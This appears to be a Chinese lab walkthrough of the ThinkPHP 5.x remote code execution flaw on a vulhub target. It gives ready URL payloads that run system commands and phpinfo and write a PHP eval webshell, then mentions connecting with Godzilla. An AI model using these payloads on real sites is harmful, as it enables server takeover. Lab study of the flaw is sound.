Thinkphp5x远程执行命令及getshell

一.环境配置

靶场:vulhub/thinkphp/5-rce

docker-compose up -d #启动环境

访问靶场:

漏洞利用:

漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖,通 过覆盖类的核⼼属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分 原因,在利⽤上会出现⼀些问题

远程命令执行:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1 \[\]=whoami

执行完如下图

远程代码执行:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars0=phpinfo&vars1\[\]=-1

如下图

写入一句话木马:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=echo "<?php @eval(\$_POSTcmd);?>">>3.php

然后去访问我们的3.php 创建成功

哥斯拉连接:

相关推荐
sugar__salt1 分钟前
JavaScript 数组去重全解:6 种核心方法
javascript
磊 子1 分钟前
STL之set以及set和map区别
开发语言·c++·算法
Halo_tjn6 分钟前
NIO 技术的使用
java·开发语言·nio
砍材农夫7 分钟前
物联网 基于netty核心实战-安全tls
java·开发语言·前端·物联网·安全
SEO_juper7 分钟前
JavaScript 渲染:AI 智能体无法读取,直接影响收录
开发语言·前端·javascript·aigc·seo·跨境电商·geo
Python+999 分钟前
C++ 内存模型 & 底层原理
java·jvm·c++
jllllyuz9 分钟前
通信信号调制识别系统(MATLAB实现)
开发语言·matlab
whuhewei9 分钟前
一道React缓存的题目
javascript·react.js
兰令水12 分钟前
2026.5.30休息一天
java
公众号-老炮说Java12 分钟前
Spring AI Alibaba 硬核实战:Token 原理 → RAG → 多智能体,一篇通
java·人工智能·后端·spring